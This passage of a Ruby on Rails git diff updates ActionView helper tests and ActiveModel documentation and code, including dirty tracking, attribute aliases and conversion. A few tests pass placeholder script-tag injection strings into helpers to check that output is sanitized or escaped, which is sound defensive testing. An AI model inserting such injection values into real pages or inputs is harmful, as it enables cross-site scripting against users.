- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
assert_equal [], templates, "expected an empty list of templates"
end
def test_should_return_template_for_declared_path
resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
assert_equal 1, templates.size, "expected one template"
assert_equal "this text", templates.first.source
assert_equal "arbitrary/path", templates.first.virtual_path
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
index 1b2234f4e2..a514bba83d 100644
--- a/actionview/test/template/text_helper_test.rb
+++ b/actionview/test/template/text_helper_test.rb
@@ -21,6 +21,11 @@ class TextHelperTest < ActionView::TestCase
assert simple_format("<b> test with html tags </b>").html_safe?
end
+ def test_simple_format_included_in_isolation
+ helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+ assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+ end
+
def test_simple_format
assert_equal "<p></p>", simple_format(nil)
@@ -42,6 +47,11 @@ class TextHelperTest < ActionView::TestCase
assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
end
+ def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
+ assert_equal '<p><b> test with unsafe string </b></p>',
+ simple_format('<b> test with unsafe string </b><script>code!</script>', {}, sanitize: true)
+ end
+
def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
end
@@ -314,6 +324,9 @@ class TextHelperTest < ActionView::TestCase
options = { :separator => "\n", :radius => 1 }
assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+ assert_equal excerpt('This is a beautiful morning', 'a'),
+ excerpt('This is a beautiful morning', 'a', separator: nil)
end
def test_word_wrap
@@ -373,6 +386,13 @@ class TextHelperTest < ActionView::TestCase
assert_equal("3", cycle("one", 2, "3"))
end
+ def test_cycle_with_array
+ array = [1, 2, 3]
+ assert_equal("1", cycle(array))
+ assert_equal("2", cycle(array))
+ assert_equal("3", cycle(array))
+ end
+
def test_cycle_with_no_arguments
assert_raise(ArgumentError) { cycle }
end
@@ -447,7 +467,7 @@ class TextHelperTest < ActionView::TestCase
reset_cycle("colors")
end
- def test_recet_named_cycle
+ def test_reset_named_cycle
assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
assert_equal("red", cycle("red", "blue", :name => "colors"))
reset_cycle("numbers")
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
new file mode 100644
index 0000000000..d899d54589
--- /dev/null
+++ b/actionview/test/template/text_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class TextTest < ActiveSupport::TestCase
+ test 'formats returns symbol for recognized MIME type' do
+ assert_equal [:text], ActionView::Template::Text.new('', :text).formats
+ end
+
+ test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+ foo = Mime::Type.lookup("foo")
+ assert_nil foo.to_sym
+ assert_equal ['foo'], ActionView::Template::Text.new('', foo).formats
+ end
+
+ test 'formats returns string for unknown MIME type' do
+ assert_equal ['foo'], ActionView::Template::Text.new('', 'foo').formats
+ end
+end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
index d496dbb35e..c4770840fb 100644
--- a/actionview/test/template/translation_helper_test.rb
+++ b/actionview/test/template/translation_helper_test.rb
@@ -31,7 +31,7 @@ class TranslationHelperTest < ActiveSupport::TestCase
end
def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
- I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
+ I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
translate :foo, :locale => 'en'
end
@@ -53,6 +53,22 @@ class TranslationHelperTest < ActiveSupport::TestCase
assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
end
+ def test_raises_missing_translation_message_with_raise_config_option
+ ActionView::Base.raise_on_missing_translations = true
+
+ assert_raise(I18n::MissingTranslationData) do
+ translate("translations.missing")
+ end
+ ensure
+ ActionView::Base.raise_on_missing_translations = false
+ end
+
+ def test_raises_missing_translation_message_with_raise_option
+ assert_raise(I18n::MissingTranslationData) do
+ translate(:"translations.missing", :raise => true)
+ end
+ end
+
def test_i18n_translate_defaults_to_nil_rescue_format
expected = 'translation missing: en.translations.missing'
assert_equal expected, I18n.translate(:"translations.missing")
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
index 8373d7f992..35279a4558 100644
--- a/actionview/test/template/url_helper_test.rb
+++ b/actionview/test/template/url_helper_test.rb
@@ -1,5 +1,6 @@
# encoding: utf-8
require 'abstract_unit'
+require 'minitest/mock'
class UrlHelperTest < ActiveSupport::TestCase
@@ -17,6 +18,7 @@ class UrlHelperTest < ActiveSupport::TestCase
get "/" => "foo#bar"
get "/other" => "foo#other"
get "/article/:id" => "foo#article", :as => :article
+ get "/category/:category" => "foo#category"
end
include ActionView::Helpers::UrlHelper
@@ -51,14 +53,21 @@ class UrlHelperTest < ActiveSupport::TestCase
end
def test_button_to_with_straight_url
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com")
+ end
+
+ def test_button_to_with_path
+ assert_dom_equal(
+ %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>},
+ button_to("Hello", article_path("Hello".html_safe))
+ )
end
def test_button_to_with_straight_url_and_request_forgery
self.request_forgery = true
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></form>},
button_to("Hello", "http://www.example.com")
)
ensure
@@ -66,99 +75,106 @@ class UrlHelperTest < ActiveSupport::TestCase
end
def test_button_to_with_form_class
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
end
def test_button_to_with_form_class_escapes
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
end
def test_button_to_with_query
- assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
end
def test_button_to_with_html_safe_URL
- assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
end
def test_button_to_with_query_and_no_name
- assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+ assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
end
def test_button_to_with_javascript_confirm
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
)
end
def test_button_to_with_javascript_disable_with
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
)
end
def test_button_to_with_remote_and_form_options
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><input type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
)
end
def test_button_to_with_remote_and_javascript_confirm
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
)
end
def test_button_to_with_remote_and_javascript_disable_with
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
)
end
def test_button_to_with_remote_false
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", remote: false)
)
end
def test_button_to_enabled_disabled
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", disabled: false)
)
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input disabled="disabled" type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", disabled: true)
)
end
def test_button_to_with_method_delete
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", method: :delete)
)
end
def test_button_to_with_method_get
assert_dom_equal(
- %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ %{<form method="get" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
button_to("Hello", "http://www.example.com", method: :get)
)
end
def test_button_to_with_block
assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
+ %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit"><span>Hello</span></button></form>},
button_to("http://www.example.com") { content_tag(:span, 'Hello') }
)
end
+ def test_button_to_with_params
+ assert_dom_equal(
+ %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo" value="bar" /><input type="hidden" name="baz" value="quux" /></form>},
+ button_to("Hello", "http://www.example.com", params: {foo: :bar, baz: "quux"})
+ )
+ end
+
def test_link_tag_with_straight_url
assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
end
@@ -308,6 +324,13 @@ class UrlHelperTest < ActiveSupport::TestCase
link_to('/', class: "special") { content_tag(:span, 'Example site') }
end
+ def test_link_tag_using_block_and_hash
+ assert_dom_equal(
+ %{<a href="/"><span>Example site</span></a>},
+ link_to(url_hash) { content_tag(:span, 'Example site') }
+ )
+ end
+
def test_link_tag_using_block_in_erb
out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
assert_equal '<a href="/">Example site</a>', out
@@ -336,8 +359,6 @@ class UrlHelperTest < ActiveSupport::TestCase
assert_dom_equal %{<a href="/">Listing</a>},
link_to_unless(false, "Listing", url_hash)
- assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
-
assert_equal "<strong>Showing</strong>",
link_to_unless(true, "Showing", url_hash) { |name|
"<strong>#{name}</strong>".html_safe
@@ -357,7 +378,6 @@ class UrlHelperTest < ActiveSupport::TestCase
def test_link_to_if
assert_equal "Showing", link_to_if(false, "Showing", url_hash)
assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
- assert_equal "Showing", link_to_if(false, "Showing", url_hash)
end
def request_for_url(url, opts = {})
@@ -397,6 +417,26 @@ class UrlHelperTest < ActiveSupport::TestCase
assert !current_page?('/events')
end
+ def test_current_page_with_escaped_params
+ @request = request_for_url("/category/administra%c3%a7%c3%a3o")
+
+ assert current_page?(controller: 'foo', action: 'category', category: 'administração')
+ end
+
+ def test_current_page_with_escaped_params_with_different_encoding
+ @request = request_for_url("/")
+ @request.stub(:path, "/category/administra%c3%a7%c3%a3o".force_encoding(Encoding::ASCII_8BIT)) do
+ assert current_page?(:controller => 'foo', :action => 'category', category: 'administração')
+ assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
+ end
+ end
+
+ def test_current_page_with_double_escaped_params
+ @request = request_for_url("/category/administra%c3%a7%c3%a3o?callback_url=http%3a%2f%2fexample.com%2ffoo")
+
+ assert current_page?(controller: 'foo', action: 'category', category: 'administração', callback_url: 'http://example.com/foo')
+ end
+
def test_link_unless_current
@request = request_for_url("/")
diff --git a/actionview/test/tmp/.gitkeep b/actionview/test/tmp/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/tmp/.gitkeep
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index 0568e5d545..68cc874ca3 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,19 +1,12 @@
-* `inclusion` / `exclusion` validations with ranges will only use the faster
- `Range#cover` for numerical ranges, and the more accurate `Range#include?`
- for non-numerical ones.
+* Add plural and singular form for length validator's default messages
- Fixes range validations like `:a..:f` that used to pass with values like `:be`.
- Fixes #10593
+ *Abd ar-Rahman Hamid*
- *Charles Bergeron*
+* Introduce `validate` as an alias for `valid?`.
-* Fix regression in has_secure_password. When a password is set, but a
- confirmation is an empty string, it would incorrectly save.
+ This is more intuitive when you want to run validations but don't care about
+ the return value.
- *Steve Klabnik* and *Phillip Calvin*
+ *Henrik Nyh*
-* Deprecate `Validator#setup`. This should be done manually now in the validator's constructor.
-
- *Nick Sutterer*
-
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index a399fe9051..500be2a04a 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -49,7 +49,8 @@ behavior out of the box:
send("#{attr}=", nil)
end
end
-
+
+ person = Person.new
person.clear_name
person.clear_age
@@ -78,7 +79,21 @@ behavior out of the box:
class Person
include ActiveModel::Dirty
- attr_accessor :name
+ define_attribute_methods :name
+
+ def name
+ @name
+ end
+
+ def name=(val)
+ name_will_change! unless val == @name
+ @name = val
+ end
+
+ def save
+ # do persistence work
+ changes_applied
+ end
end
person = Person.new
@@ -88,6 +103,7 @@ behavior out of the box:
person.changed? # => true
person.changed # => ['name']
person.changes # => { 'name' => [nil, 'bob'] }
+ person.save
person.name = 'robert'
person.save
person.previous_changes # => {'name' => ['bob, 'robert']}
@@ -109,16 +125,19 @@ behavior out of the box:
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name.nil?
+ errors.add(:name, "cannot be nil") if name.nil?
end
def self.human_attribute_name(attr, options = {})
"Name"
end
end
-
+
+ person = Person.new
+ person.name = nil
+ person.validate!
person.errors.full_messages
- # => ["Name can not be nil"]
+ # => ["Name cannot be nil"]
{Learn more}[link:classes/ActiveModel/Errors.html]
@@ -180,41 +199,41 @@ behavior out of the box:
* Validation support
- class Person
- include ActiveModel::Validations
+ class Person
+ include ActiveModel::Validations
- attr_accessor :first_name, :last_name
+ attr_accessor :first_name, :last_name
- validates_each :first_name, :last_name do |record, attr, value|
- record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
- end
- end
+ validates_each :first_name, :last_name do |record, attr, value|
+ record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ end
+ end
- person = Person.new
- person.first_name = 'zoolander'
- person.valid? # => false
+ person = Person.new
+ person.first_name = 'zoolander'
+ person.valid? # => false
{Learn more}[link:classes/ActiveModel/Validations.html]
* Custom validators
+
+ class HasNameValidator < ActiveModel::Validator
+ def validate(record)
+ record.errors[:name] = "must exist" if record.name.blank?
+ end
+ end
+
+ class ValidatorPerson
+ include ActiveModel::Validations
+ validates_with HasNameValidator
+ attr_accessor :name
+ end
- class ValidatorPerson
- include ActiveModel::Validations
- validates_with HasNameValidator
- attr_accessor :name
- end
-
- class HasNameValidator < ActiveModel::Validator
- def validate(record)
- record.errors[:name] = "must exist" if record.name.blank?
- end
- end
-
- p = ValidatorPerson.new
- p.valid? # => false
- p.errors.full_messages # => ["Name must exist"]
- p.name = "Bob"
- p.valid? # => true
+ p = ValidatorPerson.new
+ p.valid? # => false
+ p.errors.full_messages # => ["Name must exist"]
+ p.name = "Bob"
+ p.valid? # => true
{Learn more}[link:classes/ActiveModel/Validator.html]
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index f72b949c64..407dda2ec3 100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -13,9 +13,8 @@ end
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
Dir.glob("#{dir}/test/**/*_test.rb").all? do |file|
- sh(ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+ sh(Gem.ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
end or raise "Failures"
end
end
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 51655fe3da..36e565f692 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -5,7 +5,7 @@ Gem::Specification.new do |s|
s.name = 'activemodel'
s.version = version
s.summary = 'A toolkit for building modeling frameworks (part of Rails).'
- s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+ s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing.'
s.required_ruby_version = '>= 1.9.3'
@@ -20,5 +20,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
- s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'builder', '~> 3.1'
end
diff --git a/activemodel/examples/validations.rb b/activemodel/examples/validations.rb
index 2c5cc11f49..b8e74acd5e 100644
--- a/activemodel/examples/validations.rb
+++ b/activemodel/examples/validations.rb
@@ -1,3 +1,4 @@
+require File.expand_path('../../../load_paths', __FILE__)
require 'active_model'
class Person
@@ -25,5 +26,5 @@ person1 = Person.new
p person1.valid? # => false
p person1.errors.messages # => {:name=>["can't be blank"]}
-person2 = Person.new(:name => "matz")
+person2 = Person.new(name: 'matz')
p person2.valid? # => true
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index ef4f2514be..feb3d9371d 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -48,6 +48,7 @@ module ActiveModel
eager_autoload do
autoload :Errors
+ autoload :StrictValidationFailed, 'active_model/errors'
end
module Serializers
@@ -59,9 +60,9 @@ module ActiveModel
end
end
- def eager_load!
+ def self.eager_load!
super
- ActiveModel::Serializer.eager_load!
+ ActiveModel::Serializers.eager_load!
end
end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index 986a7ade81..ea07c5c039 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -1,4 +1,5 @@
require 'thread_safe'
+require 'mutex_m'
module ActiveModel
# Raised when an attribute is not defined.
@@ -13,11 +14,11 @@ module ActiveModel
class MissingAttributeError < NoMethodError
end
- # == Active \Model Attribute Methods
+ # == Active \Model \Attribute \Methods
#
- # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
- # suffixes to your methods as well as handling the creation of
- # <tt>ActiveRecord::Base</tt>-like class methods such as +table_name+.
+ # Provides a way to add prefixes and suffixes to your methods as
+ # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+ # class methods such as +table_name+.
#
# The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
#
@@ -26,7 +27,9 @@ module ActiveModel
# or +attribute_method_prefix+.
# * Call +define_attribute_methods+ after the other methods are called.
# * Define the various generic +_attribute+ methods that you have declared.
- # * Define an +attributes+ method, see below.
+ # * Define an +attributes+ method which returns a hash with each
+ # attribute name in your model as hash key and the attribute value as hash value.
+ # Hash keys must be strings.
#
# A minimal implementation could be:
#
@@ -41,7 +44,7 @@ module ActiveModel
# attr_accessor :name
#
# def attributes
- # {'name' => @name}
+ # { 'name' => @name }
# end
#
# private
@@ -58,13 +61,6 @@ module ActiveModel
# send("#{attr}=", 'Default Name')
# end
# end
- #
- # Note that whenever you include <tt>ActiveModel::AttributeMethods</tt> in
- # your class, it requires you to implement an +attributes+ method which
- # returns a hash with each attribute name in your model as hash key and the
- # attribute value as hash value.
- #
- # Hash keys must be strings.
module AttributeMethods
extend ActiveSupport::Concern
@@ -172,14 +168,14 @@ module ActiveModel
# private
#
# def reset_attribute_to_default!(attr)
- # ...
+ # send("#{attr}=", 'Default Name')
# end
# end
#
# person = Person.new
# person.name # => 'Gem'
# person.reset_name_to_default!
- # person.name # => 'Gemma'
+ # person.name # => 'Default Name'
def attribute_method_affix(*affixes)
self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
undefine_attribute_methods
@@ -218,6 +214,16 @@ module ActiveModel
end
end
+ # Is +new_name+ an alias?
+ def attribute_alias?(new_name)
+ attribute_aliases.key? new_name.to_s
+ end
+
+ # Returns the original name for the alias +name+
+ def attribute_alias(name)
+ attribute_aliases[name.to_s]
+ end
+
# Declares the attributes that should be prefixed and suffixed by
# ActiveModel::AttributeMethods.
#
@@ -239,7 +245,7 @@ module ActiveModel
# private
#
# def clear_attribute(attr)
- # ...
+ # send("#{attr}=", nil)
# end
# end
def define_attribute_methods(*attr_names)
@@ -322,9 +328,10 @@ module ActiveModel
attribute_method_matchers_cache.clear
end
- # Returns true if the attribute methods defined have been generated.
def generated_attribute_methods #:nodoc:
- @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+ @generated_attribute_methods ||= Module.new {
+ extend Mutex_m
+ }.tap { |mod| include mod }
end
protected
@@ -337,7 +344,7 @@ module ActiveModel
# invoked often in a typical rails, both of which invoke the method
# +match_attribute_method?+. The latter method iterates through an
# array doing regular expression matches, which results in a lot of
- # object creations. Most of the times it returns a +nil+ match. As the
+ # object creations. Most of the time it returns a +nil+ match. As the
# match result is always the same given a +method_name+, this cache is
# used to alleviate the GC, which ultimately also speeds up the app
# significantly (in our case our test suite finishes 10% faster with
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index 377aa6ee27..b27a39b787 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -30,7 +30,7 @@ module ActiveModel
# end
#
# Then in your class, you can use the +before_create+, +after_create+ and
- # +around_create+ methods, just as you would in an Active Record module.
+ # +around_create+ methods, just as you would in an Active Record model.
#
# before_create :action_before_create
#
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 21e4eb3c86..374265f0d8 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,5 @@
module ActiveModel
- # == Active \Model Conversion
+ # == Active \Model \Conversion
#
# Handles default conversions: to_model, to_key, to_param, and to_partial_path.
#
@@ -41,7 +41,7 @@ module ActiveModel
end
# Returns an Enumerable of all key attributes if any is set, regardless if
- # the object is persisted or not. If there no key attributes, returns +nil+.
+ # the object is persisted or not. Returns +nil+ if there are no key attributes.
#
# class Person < ActiveRecord::Base
# end
@@ -62,7 +62,7 @@ module ActiveModel
# person = Person.create
# person.to_param # => "1"
def to_param
- persisted? ? to_key.join('-') : nil
+ (persisted? && key = to_key) ? key.join('-') : nil
end
# Returns a +string+ identifying the path associated with the object.
@@ -83,8 +83,8 @@ module ActiveModel
# internal method and should not be accessed directly.
def _to_partial_path #:nodoc:
@_to_partial_path ||= begin
- element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self))
- collection = ActiveSupport::Inflector.tableize(self)
+ element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(name))
+ collection = ActiveSupport::Inflector.tableize(name)
"#{collection}/#{element}".freeze
end
end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index ea5ddf71de..98ffffeb10 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -14,13 +14,9 @@ module ActiveModel
# track.
# * Call <tt>attr_name_will_change!</tt> before each change to the tracked
# attribute.
- #
- # If you wish to also track previous changes on save or update, you need to
- # add:
- #
- # @previously_changed = changes
- #
- # inside of your save or update method.
+ # * Call <tt>changes_applied</tt> after the changes are persisted.
+ # * Call <tt>reset_changes</tt> when you want to reset the changes
+ # information.
#
# A minimal implementation could be:
#
@@ -39,8 +35,12 @@ module ActiveModel
# end
#
# def save
- # @previously_changed = changes
- # @changed_attributes.clear
+ # # do persistence work
+ # changes_applied
+ # end
+ #
+ # def reload!
+ # reset_changes
# end
# end
#
@@ -54,6 +54,7 @@ module ActiveModel
# person.name = 'Bob'
# person.changed? # => true
# person.name_changed? # => true
+ # person.name_changed?(from: "Uncle Bob", to: "Bob") # => true
# person.name_was # => "Uncle Bob"
# person.name_change # => ["Uncle Bob", "Bob"]
# person.name = 'Bill'
@@ -65,6 +66,12 @@ module ActiveModel
# person.changed? # => false
# person.name_changed? # => false
#
+ # Reset the changes:
+ #
+ # person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]}
+ # person.reload!
+ # person.previous_changes # => {}
+ #
# Assigning the same value leaves the attribute unchanged:
#
# person.name = 'Bill'
@@ -129,7 +136,7 @@ module ActiveModel
# person.save
# person.previous_changes # => {"name" => ["bob", "robert"]}
def previous_changes
- @previously_changed
+ @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
end
# Returns a hash of the attributes with unsaved changes indicating their original
@@ -139,21 +146,36 @@ module ActiveModel
# person.name = 'robert'
# person.changed_attributes # => {"name" => "bob"}
def changed_attributes
- @changed_attributes ||= {}
+ @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
end
# Handle <tt>*_changed?</tt> for +method_missing+.
- def attribute_changed?(attr)
- changed_attributes.include?(attr)
+ def attribute_changed?(attr, options = {}) #:nodoc:
+ result = changed_attributes.include?(attr)
+ result &&= options[:to] == __send__(attr) if options.key?(:to)
+ result &&= options[:from] == changed_attributes[attr] if options.key?(:from)
+ result
end
# Handle <tt>*_was</tt> for +method_missing+.
- def attribute_was(attr)
+ def attribute_was(attr) # :nodoc:
